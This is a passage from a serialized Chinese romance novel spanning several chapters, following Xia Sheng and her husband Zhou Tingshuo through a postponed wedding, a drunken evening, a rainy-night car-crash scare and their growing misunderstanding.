拍卖会中途,夏声去洗手间遇上冯太太。 对方透过镜子打量她,眼神十分不友善:“听说你是林家后认回来的,怪不得一股小家子气,这周家真是没有眼色。” 夏声走到她旁边,打开手包补妆。 “冯太太,您再气急败坏,也改变不了现在嫁进周家的是我。” “可反过来讲,你每天将这事挂在嘴边,旁人谁在意,反而只有你女儿被中伤。” 对方不明白她什么意思,抬眼盯着她。 夏声洗过手,扯出张纸巾擦水,不带任何敌意地跟她对视。 “你女儿优秀,她漂亮聪明大方优雅,种种优点难道会因为没能嫁给谁而消失吗?” 冯太太下意识接话:“当然不会。” “那就是了,我相信你女儿足够配得上周家,婚事没成只能说缘分没到,但您现在的做法……” 她略微凑近冯太太:“看起来比我还小家子气。” “你!” 身后隔间有人推门出来,是她们交谈的焦点冯昕,她快速看眼夏声,上前劝住自己的母亲,洗过手就将人匆匆拉走。 夏声独自回去,拍场上最后一件拍品刚落槌,薛宁玉拉着她让她看前面。 “这套首饰我已经拍下来了,给你的。” 展台上是一套红宝石的宫廷重工风项链和耳坠,造型华丽宝石纯净。 “就当是送你婚礼的礼物。” 提到这,夏声表情有一瞬僵持:“妈,我想跟您商量下,婚礼……可以放在明年吗?” 薛宁玉脸上的笑收起,沉默片刻。 “怎么了,之前说婚纱照不拍了,现在怎么婚礼也要延后?” “发生什么事了?” 女人的直觉通常都很敏锐,夏声赶忙否认。 “不是妈,是今年我公司刚起步,我想把重心都放在工作上,我们都领证了,婚礼也就是补个仪式。” 可往往仪式才更值得重视。 薛宁玉心中有了计较,但没有挑明,只说尊重他们的想法。 拍卖会结束,她们正准备离开的时候,冯昕独自追过来。 “谢谢你,夏小姐,还有我替我妈跟你道歉。” 冯昕早就不满她母亲总抓着这事不放,又说不听,今天终于借夏声之口让她明白,自己以后耳根也能清净了。 见薛宁玉满眼疑惑,她笑道:“周太太,您选人的眼光很好。” 冯昕走后,夏声简单说了刚刚遇见她们的事,薛宁玉笑得合不拢嘴。 “做得好,我还真想看看她让个小辈教训的狼狈样。” 夏声将她送上车又叮嘱司机慢点开,薛宁玉刚跟她分开,就给周庭朔打电话。 劈头盖脸就是一顿质问。 “你是不是跟声声吵架了?” 彼时他正在应酬,雅致敞阔的包厢里,觥筹交错,周庭朔按下话筒点头离席,走到走廊接听。 走廊的地毯 铺得极厚,皮鞋踩上去没有一点声音。 周庭朔靠在墙边,听着薛宁玉说今天夏声的反应,眉心低沉。 “我总觉得声声有心事,你到底心里有没有数。” “妈,婚礼先暂时延后,不要催她。” “我没催她。”薛宁玉急性子上来,“我是怕你不懂哄人,别哪天声声真一个不高兴,婚不结了。” 头顶的冷白造型灯照得四处通亮,周庭朔仰头闭眼,额角突突跳着。 “我们已经结了,只是个仪式。” 薛宁玉短叹一句:“你以为结了婚不能离?” 他缓缓睁眼,木然看着虚空某处,视线失去焦点。 喉咙滚了滚,半晌,自我说服般说了句。 “不会。” * 夜里,夏声正站在窗前的唱片架前,她扫了几遍也没找到上次周庭朔推荐给她的唱片。 玄关门响,周庭朔进门,就看到她仰着头,一脸苦恼。 “在找什么?” 他换过鞋走过来,一阵清冷木质香混合着酒味传来。 “想听唱片?”他站在她旁边,抬手抽出一张,打开唱片机播放。 并不是之前推荐给她那张钢琴曲,而是小提琴协奏曲。 小提琴颇有质感的音色响起,曲调柔美浪漫,充满均匀齐整的形式美。 周庭朔伴着音律退后两步,转身去冰箱拿了瓶冰水,仰头带着急切般喝尽。 唇边残留一点水迹,被他抬手擦掉,动作间皆不像平时沉着从容。 夏声仍站在原地,她在看唱片封面的作品介绍,客厅里只有唱片机传来的声音,她本以为周庭朔已经回房,转身却正对上他的视线。 她怔了下,实在是他眼里不明情绪实在过于热烈真切,让她有些难以招架。 “你喝酒了?” “嗯。”他绕过中岛台走过来,靠近夏声的那一刻,小提琴曲来到高潮部分。 周庭朔单手背后,突然微微俯身,向她做出邀舞的手势。 这人怎么想一出是一出。 眼前的手骨节分明,手指修长,正等着她握上。 “我不会跳舞。” 她刚退半步,他便逼上前一步,不容分说牵起她的手。 “没关系,我教你。” 他将她的一只手握在掌心,另一只放到肩膀上,单手揽过她的腰,缩短两人之间的距离。 夏声的脸几乎要贴上他。 温柔的嗓音就落在她耳边:“跟着我的动势,先左脚,再右脚,转身……” 她从没有跳过这种双人舞,虽然他的指令很清晰,但来去之间还是避免不了踩到他。 又一次出错时,夏声停住动作。 “算了吧,我好像不太适合。” “不会,你只是不熟悉。”他始终握着她的手,“我们多加练习,等婚礼的时候你就能熟练地跳完一整只舞。” 一提到婚礼,她的脸色升起微妙的变化。 周庭朔等不到她回应,便追问。 “你想将婚礼延后到什么时候?” 其实夏声自己也不知道,她心中就像有个待解的绳结,只有等她克服情感上的芥蒂,才能走下一步。 小提琴曲已经落幕,下一首曲子响起前,两人陷入短暂的沉默。 紧接着,她腰后的手用力将她推进他怀里。 周庭朔将下巴搁在她的颈窝,深叹一口气。 “没关系,明年初也好,明年底也好,都好。” “要是我说再往后呢?” 感受到拢在背后的手臂微微用力,他语气带着笑。 “那我可能要注意保养,毕竟我比你大好几岁,真等到四五十岁的时候补婚礼,怕是要被人说你嫁给一个大叔。” 夏声被他没来由的话逗笑,转头看向玻璃窗两人相拥的身影,他此刻几乎是整个人俯身的姿态,将她完全包裹住。 静静地保持着这样的姿势,良久,他仍没有要松开她的意思。 夏声终于察觉到:“周庭朔,你是不是醉了?” “没,没醉。”他说话时胸腔的震颤传递给她,闷闷地语气,尾音下沉。 跟平时的他不太一样,虽然不明显,但夏声还是感觉到了。 “你去洗个澡早点休息吧。” 伸手推了他几下,他才松开,眼睛有些泛红地盯着她。 “你陪我。” 这显然不是清醒的周庭朔会说的话。 夏声暂时应承,推着他去主卧,将人送进浴室,便转头关门出去。 才不会真的陪。 回到客厅沙发前,夏声打开电视,安真剧组的访谈今天刚放出,她准备看看。 节目主要是讲主创的创作历程,安真在里面镜头不多。 但她减肥的行为颇有成效,镜头前完全还原了她的美貌,夏声不忘发信息给她夸夸。 访谈播到一半,身后传来开门声。 夏声回头,看到洗完澡的周庭朔穿着睡衣出来,手覆在额前,中指和拇指按着额角。 “怎么不睡,不舒服?” “嗯,头疼。” 夏声记得家里有药箱,在茶几下翻了翻,果然有止痛药。 她看过说明,将药拆出来递给他。 周庭朔靠坐在沙发上,掀开眼看了看,摇头。 “我吃过,没用。” 既然这么说,她也没办法,夏声把药收起来,又听他开口。 “能帮我揉揉吗?” 第50章 第50章怕失去 电视里,主持人正在问导演剧情内容。 夏声转过头来,见他仰靠在沙发背上,手臂搭在额前,双唇紧抿,似乎真的很难受。 “干嘛要喝那么多酒?” “应酬,没办法。” 他等了一会,并没等到夏声动作,于是自顾坐直身体,语气暗沉。 “算了,我忍一忍就过去了。” 只是他起身的动作有些不稳,不知是不是头晕得厉害,还磕到旁边的茶几边缘。 夏声拉住他,顺势将他按回沙发。 “真这么难受,下次就少喝点。” 她坐在旁边将靠枕摆在两人中间,看着他拍了拍。 周庭朔会意,转身躺下。 柔软的指腹带着舒适的力度,从额角开始,轻按打圈。 接着从他的眉心向外刮按,周庭朔闭着眼睛,头疼的不适慢慢缓解,他轻舒一口气。 “你的手法称得上专业。” “以前爷爷总是偏头痛,给他按得多。” 夏声改为四指并拢揉他的额头,周庭朔的前额饱满,眉弓立体与鼻梁的峰谷呼应,眼尾长而锐,唇型薄而流畅。 仗着他此刻闭着眼,夏声肆无忌惮地打量他,最后不得不感叹,真是得人偏爱的皮囊。 电视里开始播放剧制片段,夏声不自觉停下动作,留意是否有安真的角色剪辑。 分心时,周庭朔已拉下她的手,随后夏声感觉到腿上一重。 抱枕早已被他推到一边,他侧躺在她怀里,面向着她闭着眼。 没等她开口,他语调缓慢带着倦意:“让我这样靠一会,不打扰你。” 温热的呼吸透过轻薄的睡衣布料服落在她腹部,夏声身体不禁向后,他的手便绕到她身后,将刚刚的抱枕塞到她腰间。 恰好这会电视上播到安真的画面,她的注意力被转移,不再管他。 十几分钟后,访谈节目结束,夏声低头,发现腿上的人呼吸平稳,表情放松,竟似睡着了。 她拍拍他的肩:“周庭朔,别在这睡,起来回房去睡。” 周庭朔并未睁眼,只是“嗯”了一声,过了几秒复又开口 “什么时候你忙完这阵,我们出去走走。” 夏声伸长手,本想够茶几 上的遥控器,但他躺在腿上有些碍事,于是又作罢,等着他起来。 “干嘛要出去?无缘无故的。” 他偏过头,睁开眼从下方看她:“补上蜜月旅行。” “嗯?”夏声不明所以,“上次不是去过了,去看爷爷那次?” “那次不算。” 夏声没什么兴趣,敷衍道:“回头再说吧,或者等婚礼后再补。” 周庭朔眼中映着头顶的水晶吊灯,和她毫不在意的表情。 默了几秒,道:“我明天要去邻市视察新的科研基地,大概会晚些回来。” 他起身按了按眉心,语气淡淡。 “你不必等我,忙完早点睡。” * 干热了一整个月的京市终于迎来降雨,从一早,天上的乌云就堆积着沉在头顶。 开始还是零星细雨,渐渐变为倾盆暴雨。 夏声在办公室处理了一下午文件,抬头看向外面恍然以为到下班时间,一看表才刚过三点。 她走出办公室,就看到新来的实习生手忙脚乱的关窗。 “哎呀,这雨比依萍去找她爸要钱那晚还大。” “不知道下班的时候还打不打得到车。” 窗外的雨砸在玻璃上,噼啪作响,乌沉沉的天裹着斜风,连带整个城市都变得灰蒙,像是影视作品的末日影像。 夏声收回视线,刚将报表递给赵文宾,就听他说:“停不了,据说整个华北今明两天都是大暴雨。” 她又看眼窗外,转头跟他嘱咐。 “跟工厂联系下,暴雨天别影响货仓,咱们的单子三天后要发货,要是浸水就坏了。” “好的,夏总。” 回到办公室,她拿出手机看眼天气预报。 暴雨蓝色预警,持续到明天下午。 因为下雨,夏声特意让大家提前下班,她载着秦莫送她到地铁站。 路上车开得都很慢,雨刮器开到最大也清不完挡风玻璃上的水。 “要不我直接送你到家门口吧,你下地铁回去也不方便。” 秦莫将伞放进怀里,弯腰将裤腿挽起来。 “没事,下地铁两步路就到了,你开车绕远,这么大雨你也赶紧回家吧。” 夏声送完秦莫,到家也才不到五点,天就基本全黑,家里只有她自己,下午的时候她就让徐姐先回去了。 冰箱里有徐姐提前给她做好的饭菜,她简单热热吃了一口。 等收拾完,又拿出电脑将前几天参加中欧外贸行会的记录整理,其中有几家北欧企业给她发了资料,正好要看看。 福宝围在她身边呆了会,发现她忙着没空理,就独自跑到窗边趴着。 夏声忙完已经夜里九点多,她走到落地窗前抱起福宝揉两下,顺便观察外面的雨势。 大概比白天的时候小了些。 早上司机开车送周庭朔去的邻市,这会儿下这么大雨,估计今晚也不会回来。 她关掉电脑回房准备休息。 雨天最适合睡觉,细密的雨声是天然的白噪音,夏声睡得很沉,所以被手机铃声吵醒时,有一瞬愣怔。 等看清来电显示是何归,她更迷茫。 “何助理?这么晚了有什么事吗?” “不好意思打扰您,实在是有些担心,我想问下周总到家了吗?” 夏声在黑暗中眨眨眼,家里显然除了她没有别人。 “没有啊,你们不是去邻市考察了吗?” 对面声音有些急:“是,下午就结束考察了,但是一直下大雨,车在高速开得慢,我们九点多才到京市。” “周总让我跟司机在外环线下车,那里方便我们回家,他说后面他自己开回去。” 夏声拿下手机,屏幕的光有些刺眼,她眯着眼睛看了会,才发现已经是夜里十一点多。 两个小时,从外环怎么也该到家了。 “没给他打电话吗?” “打了,他没接。” 对面停顿一瞬,语气有些犹豫:“而且,刚刚我看到新闻,城南快速路发生了连环车祸……” 那是从外环回碧水华汀的必经之路。 夏声瞬间清醒了些,摸索着从床上坐起来。 她光着脚走到窗边,一把扯开窗帘,透过城市的灯光,能看到窗外雨仍在下,雨滴如断线的珠子砸下来。 “我知道了,你把你看到的新闻发给我,我看看在什么位置。” 何归立刻明白她什么意思:“好,我现在也往现场去,我们在那碰面,您注意安全。” 夏声挂断电话,立刻去穿衣服。 五分钟后,她已下到地下车库。 手机上是何归发来的新闻,她坐进车子点开,新闻没说车祸具体点位,但有说是哪个路段。 设置好导航,没有一刻犹豫,她驶出地库。 外面的雨势虽不及白天,但仍旧不小,再加上夜里视线不佳,车子根本不敢开快。 夏声路上不停给周庭朔打电话,但一直没人接。 她紧紧握着方向盘,手心冰凉,手指发僵。 说不好是因为雨夜开车紧张,还是什么别的,总之胸腔中沉闷的心跳始终平复不下来。 一个小时后,夏声行驶到车祸路段附近。 她在对向行车,远远就看到前方对面路段堵塞了一长串的车流。 最前排的车辆横七竖八的停在路面上,只需粗略看一眼,都知道状况惨烈。 消防车、救护车、警车在应急车道停了一排,红蓝闪烁的灯光晃得她心慌。 夏声将车缓缓停在这侧应急车道旁,撑着伞往路中间跑。 两个车道间有金属栏杆隔离,高度到她腰间,夏声向两侧看,几十米内没有能通过的地方。 路边的急救车一辆辆驶进又驶离,她咬了咬牙将雨伞扔到一旁,撑着栏杆爬过去。 落地时踩进水坑,溅起的泥水泼了她一腿,浑身上下已经全都湿透,但她根本无暇顾及此刻有多狼狈。 她心里只有一个念头,如果真出事了,一定要尽快找到他。 一排排车灯正对着她,夏声被晃得睁不开眼,她抬手挡在眼前缓了一会才适应。 黑夜里,车流如长龙,黑色车子更是一辆挨着一辆,仅靠外观根本分辨不出哪辆车是他的。 她只能穿行在车流间隙,仔细分辨车牌号。 冰凉的雨迎面打上来,夏声一次又一次擦掉脸上的水,又一次又一次模糊视线。 最前方的车,很多都已失去原本形状,破碎的车窗,变形的车门,消失的车头和凹陷的车尾。 还有染在白色气囊上,鲜红的血迹。 夏声死死攥着掌心,强忍着不适跟恐惧,一辆辆看过去,有些车牌被撞到对折凹陷,她只能从漏出的几位数字来辨别。 不是,不是,都不是。 她穿梭的身影引起救援人员注意,有人上前劝她离开。 还没找到人,她怎么可能甘愿离开。 一开口,才发现嗓子紧得快要发不出声音:“你们看见一辆黑色的劳斯莱斯没,车……有没有事?” 救援人员将她往路边带:“没有,现在还在救援当中,你不要急,先在外等候。” 如果等得下去,她就不会得到消息第一时间赶来。 夏声推开那人,继续向后找。 心里的揣测层出不穷,她勉强压制自己,一定要冷静,可还是免不了恐惧上涌。 直到她远远的看到有些熟悉的车身,脚步先于理智来到车前。 眼前的车头斜插进防护栏,透过挡风玻璃,能看到车内安全气囊全部弹开,可驾驶室却看不到人。 全身血液仿佛瞬间凝固,雨水凝在夏声的睫毛上,又一滴滴流下来。 “周庭朔。”她的声音微弱,淹没在雨声与救援声中。 等终于反应过来,她上前握上门把,却怎么也拉不开车门。 固执的用力,拍打车窗,企图让里面的人听到,但一直无人回应。 这会,她生出一股绝望,四处张望想要找人帮忙,但救援人员都在营救前方几起更为严重的车祸。 她只能靠自已。 正在她企图找能砸碎玻璃的工具时,身后响起熟悉的声音。 “夏声,你怎么在这?” 50-60 第51章 第51章只有她是特别 逆着车灯,雨丝密密麻麻地穿破夜幕。 一个熟悉的身影匆匆向她赶来。 头顶的雨被黑色的伞面隔绝,夏声看着眼前完好无损的人,一时有些懵怔。 周庭朔撑着伞,脱下西装外套披在她身上,将她整个人拢在身前。 英眉紧紧蹙着,颌线紧绷。 “你怎么在这里,这么大雨你……” 见夏声迷茫地回头又看眼旁边的车,他似乎明白了,于是拉住她向后走。 “这不是我的车,先跟我回车上。” 夏声由着他牵着自己,脑子里空空,只 有一句话。 他没事。 周庭朔的车停在车祸后几十米外,他并没有在车祸群中,只是被事故堵在路上。 刚刚他下车想看看前方事故疏散得如何,正好远远看到有个纤细的身影在穿行。 隐隐约约的熟悉感,让他决定过去看看,没想到竟然是她。 车上暖气打足,周庭朔取出后备厢的毯子给她盖着腿,夏声两手攥着他的西服外套,沉默不语。 “你怎么会找到这来的?” 他拿出毛巾,一点点帮她擦湿透的发尾,见她嘴唇发白,全身止不住的发抖,心底说不出的滋味。 是一种晦涩的苦,为她的在乎,也为她的鲁莽。 周庭朔将她冰冷的手握紧,将自己的体温渡给她。 夏声身上被湿衣服贴着,心底也像被一层薄膜给塑封禁锢,滞闷难受。 “何归给我打电话,说你自己开车回的,但路上出了事故,又联系不上你。” “为什么每次到关键时刻,你的电话就打不通。”她拧着眉看他,似乎真的生气了。 周庭朔解释:“夜里视线不好,发现前方发生车祸时,我只能紧急刹车,手机摔到车后面,我刚刚才找到。” “白天手机调了静音,没想到你们会打电话来。” 夏声的手机上还躺着几个未接来电,是他刚刚回过去的。 只是她那时正在雨中,根本听到手机响。 “怎么样,还冷吗?” 见她没反应,他默默将她肩上的衣服又拢了拢。 “你是自己开车来的?” “这么晚还下着雨,就算着急你也不该一个人找来。” “如果真的出了什么事故,也会有专业人士营救处理,你来也解决不了任何问题。” “下次不要这样了。” 语气低沉,表情严肃,像是说教一般,明显是不认同她的做法。 窗外急救车警笛的声音接连不断,夏声唇边缓缓浮现一抹苦笑。 所以,如果时移事移,是她被困在这场车祸中,他便会心安理得旁观,等着专业人士处理。 是这样吗? “周庭朔。”夏声抬头,生硬地打断他,“你想让我后悔做这些吗?” 车内光线并不好,夏声的表情晦暗,车窗外散射的灯光映出她漆黑的瞳仁,像是凝冰的湖面。 “你放心,以后我不会再做这种蠢事。” 蠢到听到些风吹草动,就将理智和个人安危抛却一边。 车窗外,有人敲响玻璃,夏声用力抽出自己的手,推开车门下车,外面是刚好找过来的何归。 她一言不发地闷头往前走,任凭刚刚擦干的头发又再次湿透。 身后周庭朔嘱咐何归留在这,拿起伞追上去。 走到上次翻越栏杆的地方,夏声已经轻车熟路,肩上的衣服碍事,她顺手扯下来。 周庭朔徒劳地将伞打在她头顶,见她要翻栏杆,抬手拉住她。 “你要去哪,这太危险了。” 夏声别开他的手,回头冷冷看着他:“回家。” 两人相处这么久,她还从没以这样的口吻跟他说话,周庭朔目光一顿,她已动作利落地翻到对面。 这会儿雨势渐小,夏声走回车边刚拉开车门,就被赶上来的周庭朔叫住。 “你带着情绪不要开车,还是我来吧。” 原来他还看得出,夏声无言将车门关上,从车头绕到副驾,他撑着伞将她送上车,才转去开车。 两人到家时已过凌晨,福宝听到动静,跑到门口迎接,夏声身上都是湿的,没办法抱它。 周庭朔的样子也没好到哪去,衬衫西裤几乎全湿,只有头发还算干爽。 他开口:“你先去洗澡,把衣服换下来,别着凉。” 夏声将鞋子换下,沉默地走进卧室,在他面前关上门。 浴室里热气氤氲,夏声蜷在浴缸里,一脸漠然。 几个小时前的那种失控情绪消退,她此刻才算真正平复下来。 抬手,拨弄着无名指上的戒指,纯澈的钻石在灯光下熠着光。 刚刚周庭朔的那段话让夏声看清,他于自己责任多于真心,如果今日情形是他遇上,他大概不会像自己那样,做出这种不理智的行为。 甚至她的行为会让他觉得难以理解。 罢了。 夏声将手没入水中,缓缓躺下去。 几分钟后,她起身出去,开始吹头发。 她的头发长而直,发丝浓密吹起来格外费事,每次她只吹个半干就失去耐心。 这次也一样,只到发梢不滴水的程度,她就关了吹风机。 回到梳妆台前,她正在涂面霜,周庭朔推门进来。 夏声没给他眼色,只顾看着镜子。 身后脚步声靠近,一杯姜茶放在她面前。 “喝一些,屈屈寒。” 夏声瞥了一眼:“我没事,不用喝,谢谢你。” 语气疏离客气,恍然间,周庭朔以为回到了两人刚刚相识那会。 他视线凝在她背后,心底蓦然虚空,黑洞洞荡出回音,仿佛有什么很珍贵的东西掉入虚无,他只能眼睁睁看着其消逝。 姜茶的味道四散,夏声见他站在身后没有要走的意思,只好拿起来喝完。 玻璃杯放下,她沉默起身准备去睡觉。 只是还没到床边,就被他拉住胳膊。 “你头发还没干,先别睡。” 他转身走进浴室,再出来拿着吹风机。 熟练的插上电源,将她的头发两边分区,调好温度才开始吹。 夏声坐在梳妆凳上,看着镜子里表情认真的他,有些恍惚。 上一次,还是她给他吹。 几分钟后,吹风机的声音停下,夏声抬头对上他沉墨般的眸子。 “是不是只要在你责任内的人,你就要照顾?” “其实我用不着你这样,不需要。” 吹风机的电线在他手中缠成规矩的回形结,随后放到梳妆台。 “我只照顾过你一个。” “没什么经验,所以总是惹得你不愉快。” 他后退两步,坐到床边,平视着她。 “夏声,我今天本可以不回来的。” 原本她也认为这样的天气,他可能不会回来,但半夜何归打来电话时,她根本没有时间多想。 这会周庭朔提起来,夏声才回过神。 “是,所以这种天气,你为什么执意要回?” “因为我昨天跟你说过,今天会晚些回来。”他的视线留恋地扫过她的眼睛,“我怕你又等我。” “怕你怪我像上次一样食言。” 夏声微张着嘴,显然没意料到答案是这个。 “那你跟我说一声就好了,没人要你一定要今天回。” 他自嘲般笑笑:“你怎么还没听明白。” “其实是我想回来,想找一切合理的理由,告诉自己要按时回来。” 从前周庭朔各地出差,独自住在陌生的酒店房间,早已是家常便饭。 可昨晚,何归将房卡递给他的那刻,他却如何也不想接。 他想回去,他想她。 这几句话,称得上直白,夏声双手垂在膝上,默默捏着指腹。 “没必要,下次别再这样了。” 周庭朔探身,牵过她的手,略微用力将她拉近,夏声起身上前两步,就势坐在他旁边。 “嗯,让你担心了。”他抬手顺了下她耳旁的头发,手指摩挲着她的耳垂,“没有下次。” 两人入睡时已近破晓,故而第二天夏声也没有赶着去上班。 她醒来时已是早上十点多,床边并没有人。 听着窗外仍在下雨,她打开窗帘伸个懒腰,看着窗外发了会呆。 出去吃早饭的功夫,才发现周庭朔也没去公司。 他穿着浅蓝色的家居服,从书房出 来,耳朵上还带着蓝牙耳机,打电话的间隙抬眼看夏声。 工作狂竟然给自己放假,夏声觉得新鲜。 她将碗里的粥喝完,又将煎蛋两口吃光。 那厢周庭朔已挂断电话,接了杯水坐在她对面。 “吃这么急,还要去公司吗?” 夏声刚要开口,门铃声响起。 碧水华汀鲜少来客人,徐姐过去帮忙开门,门外进来的竟然是薛宁玉。 “妈,您怎么来了。” 夏声赶紧起身迎过去,薛宁玉手里还提着一只保温桶,顺手递给旁边的徐姐。 “趁热给他们一人倒一碗,用瓷碗装。” 周庭朔显然也不知道她会来:“妈,有什么事吗?” “有什么事。”她眼神上下打量过他,又剜了一眼,“不说我都不知道,昨晚上你做得好事,两人大半夜淋那些雨,真病了看我怎么收拾你。” 消息竟这么快传到她那,周庭朔沉了沉眸。 薛宁玉自然知道自己儿子什么做派,立刻声明。 “是你爸早上打电话去你公司,顺道问你在不在,秘书说你今天还没去,这才知道,跟人小何没关系。” 她正好有些事要找他商量,一听说这便直接赶到家里来,顺道看看他们两个。 薛宁玉牵着夏声到沙发坐下,说起话来语气都不一样。 “昨晚没事吧,今天有没有不舒服?” 夏声笑着保证:“放心吧,睡一觉一点事都没有的,您别担心。” 薛宁玉落下心来,拍了拍她的手:“下回再有这事,你可别管他,那么大个人,还总让别人操心。” 徐姐已将驱寒汤端过来,薛宁玉督促着两人喝完。 夏声还需要去公司一趟,回房间换衣服,就准备出门。 薛宁玉有事要跟周庭朔说,便将人叫到书房,顺带让夏声路上小心。 徐姐提着垃圾跟夏声一起出门,她要去楼下把订好的海鲜从管家寄存那拿回来。 两人刚走到电梯口,夏声想起昨天带回来的资料忘带,又折回去取。 东西就放在卧室的床头柜,她快速收到包里,抬头看到梳妆台上放着的全套香薰。 是上次送薛宁玉她觉得好闻的那款,夏声前几天去商场又买了一套。 想着她今天在,正好给她,夏声便拿着东西往书房走。 可终究,那套香薰没能送出去。 夏声站在门前,听着书房里两人的对话。 “如今声声这样掏心掏肺地对你,你必须好好珍惜,再不许因为你嫂子的事,提你那些歪理。” “妈,没有什么歪理。” 周庭朔语气冷淡:“在我看来婚姻跟感情一样不可靠,这个观点没有变。” 一门之隔,夏声面无表情地转身。 再听下去已没有意义,她将香薰放到客厅的柜子上,匆匆打开大门离开。 她身后落下的那句话,是周庭朔的补充。 “可靠的是夏声。” “她于我是例外,并不因为她是我的妻子,而是因为她是很好的人。” 第52章 第52章她说,算了 阴雨在下午三点止歇,阳光初绽,阴霾尽散。 云声文化里,许可欣正在打印机前复印,突然兴奋地拿出手机开始拍照。 “出彩虹了哎,还是双道彩虹!” 夏声正在会议室等她的资料,听到声音抬头,旁边的秦莫已经转身将会议室的遮光帘拉上去一半,远处地标建筑上方果然横跨了两道彩虹。 一深一浅,相互呼应。 秦莫笑道:“听说看到双彩虹是亿分之一的幸运。” 夏声目光落回眼前的电脑,正对面投影仪上是接下来会议的内容。 她翻着ppt,不甚在意:“真正亿分之一的幸运,是不会让这么多人看到的。” 秦莫默默打量着她的神色,有些担忧。 “你是不是最近太累了,今天看起来脸色很差,要不要休息几天?” “没事。”许可欣已将材料送进来,夏声示意会议可以开始。 上次行业会联系上的几家外企里,有一家抛来橄榄枝,只是他们的要求极高。 “单论产品载体,他们已经pass掉五个方案了,昨天我跟对方沟通,新一版的提案,他们仍旧不满意。” 许可欣汇报过程中,夏声始终皱着眉,不时翻一下手中的材料。 “你们做的最新一版他们提出的意见是什么。” “产品与公司风格不够契合。” 文创产品是展现和传播文化非常直观的载体,如果与甲方风格契合度不够,很难做出合格的产品,更遑论优秀。 夏声圈了几处提案里需要修改的地方,并且在下面写了“本地化”几个字。 “再去跟他们沟通一下,看我勾出来这几个方面,哪里要改,我们一点点扣细节。” 散会后,秦莫叫住夏声,等其他人都走了,关上会议室门示意夏声坐。 “你今天不对劲,到底怎么了?” 私人感情本不该影响工作,夏声垂眸把玩着手里的笔。 “我只是在考虑,上次韩子弋的提议。” 秦莫在她旁边坐下:“什么提议?” 上次做图版设计时韩子弋跟她提过,要想做好欧洲市场,起码要到欧洲去了解一下文化风土。 “你身处国内,永远是以第三视角看甲方需求,隔靴搔痒,是戳不中重点的。” 夏声将墨水笔的盖子开了又关。 “我觉得她说得也有些道理。” 前几天参加中欧行会,夏声已有感受,今天会上的反馈更是如此。 她垂眸思虑着,在反复下决心。 秦莫看者着她的表情,那眉眼间皆是淡淡的忧虑。 “好了,别给自己这么大压力,凡事不一定非要做到极致,尽力而为就好。” 夏声攥紧水笔,抬眼看她:“为什么不呢?” “要知道我现在不仅要对自己负责,更要对你,对跟着我的大家负责。” “如果只是有单就做,得过且过,那我何必辛苦创业,拾人牙慧做个代工厂岂不更省心。” “但那不是我想要的。” 其实一开始秦莫就知道,夏声每做一件事,都想做到最好,从前跟她搭档做翻译时是,现在一起创业更是。 她抬手覆上夏声的手臂,略微用力:“那就按你想的去做,你的决定我都支持。” 从公司忙完,夏声看眼时间,刚好来得及赴约。 昨天安真在群里约她们晚上见面,周仪娇说她请吃饭,几人约在一家星级私厨见面。 中式园林风装修的餐厅,夏声绕了好几个壁石水榭的造景,才找到包厢, 进门时,另外两人已经点好菜,正对着安真手机看视频。 周仪娇收回视线,要递菜单给她,让她看有什么想吃的加一些,安真拦住她。 “没事,别看你嫂子瘦,胃口最好就是她,从不挑食。” “你放心,我点那几道都是她爱吃的,再点就多了。” 夏声见她们看得起劲,也走到她们身后去瞧瞧,原来是在看新剧安真跟男二的对手戏。 手机拍的摄像机画面,听不到声音,只能看到动作有点亲密。 “对了,家骏哥看过吗,他对你拍这种戏有意见没?”周仪娇问。 安真关掉视频,一脸无所谓。 “他有意见能怎么办,姐姐我既然入圈,这些都是迟早的事,他有意见也给我忍着。” 周仪娇冲她竖起大拇指,表示佩服,没想到安真一秒破功。 “算了,不装了,其实他那天正好去探班,这场戏拍完他脸就给我拉二里地长,哄了老半天才好。” 听她的描述,周仪娇甚至能想起祁家骏瞪眼竖眉的样子,笑得停不下来。 “叫他平时还装风流浪子,到真格还不是老醋喝到饱,这男人一恋爱脑也是遭不住啊。” 夏声听着她们调侃,默默在旁边坐下,倒杯热茶慢慢抿着。 转眼话题又到她这。 “不过我就没见过我哥这样,他这人脸上多两度表情都罕见,什么时候嫂子你也给他上点老陈醋尝尝吧。” “我太想看我哥吃瘪什么样了。” 夏声笑笑没说话,周庭朔怎么会吃醋,吃醋的前提是喜欢,是占有欲,而不是责任。 刚好服务员进来送餐,终止了这个话题。 饭吃得差不多,夏声独自去洗 手间,餐厅走廊做得九曲回环,她差点迷路。 回去的时候,她顺路去前台取个移动充电宝,安真刚刚吵着手机没电。 正准备离开时,听到另一边楼梯处传来一群人的交谈声。 里面有个声音很熟悉。 她转头,刚好看到周庭朔被人群簇拥着走下来。 眼神交接只一瞬,夏声便错开视线。 看这情形,大概是商务应酬,她没有再回头,拿上充电宝往自己包厢走。 这边周庭朔刚一下楼就注意到夏声,可对方只淡淡看了他一眼,就匆匆走开。 没有打招呼,没有眼神示意,甚至面无表情到仿佛根本跟他不相识。 这种仿若陌生人的对待,让他心里竖起倒刺,不轻不重的存在,却难以忽视。 原本还安排了行程,周庭朔却临时改意。 “抱歉,刚好看到熟人,暂时失陪。”他略微转头示意身后跟着的人,“一会就由孙副总代为招待,严主席还请尽兴。” 被称为严主席的人眼神看向刚刚人影消失的拐角,了然一笑。 “明白,偶会红颜嘛。” 有钱人的圈子,总是见怪不怪,哪怕旁人已知他结婚,仍认为再结识其他异性是人之常情。 周庭朔知道他误会,开口解释。 “不是红颜,那是我太太。” 得知真相,对方也极为尴尬:“你看,我真是有眼不识,令夫人这样的样貌气质,跟周总真是般配,那你先忙,咱们回头再约。” 夏声回到包厢,将充电宝递给安真。 她面前摆着一盅海鲍鲜还没喝,于是坐下拿着汤匙一勺勺品着。 刚喝到一半,包厢有人敲门,周仪娇以为是服务员,结果叫进来一看,竟然是她哥。 “哥,你怎么在这?” 夏声仍埋着头喝汤,显然对包厢里多出的人并不感到惊讶。 周庭朔跟安真点头示意,看了周仪娇一眼,拉开夏声旁边的椅子落座。 “工作应酬。” 见夏声汤喝得认真,随口问道。 “很喜欢这道汤?” 旁边的安真给了周仪娇一个眼神,两人默契起身。 “哥,我俩吃完了,先走了哈。” 安真刚要离席,夏声转头看她:“不是说好今晚让我陪你去,干嘛又先走,等我一会,就喝完了。” “陪我?”安真一头雾水,紧接着看到夏声略微冲她皱眉,向旁边使了使眼色。 这下才明白。 “哦,那你快点,咱们一会一起去我那。” 一直在旁边安静坐着的周庭朔不可能听不出其中猫腻,他只是默默看着夏声喝完汤,将桌上的纸巾递给她。 “今晚不回去了?” 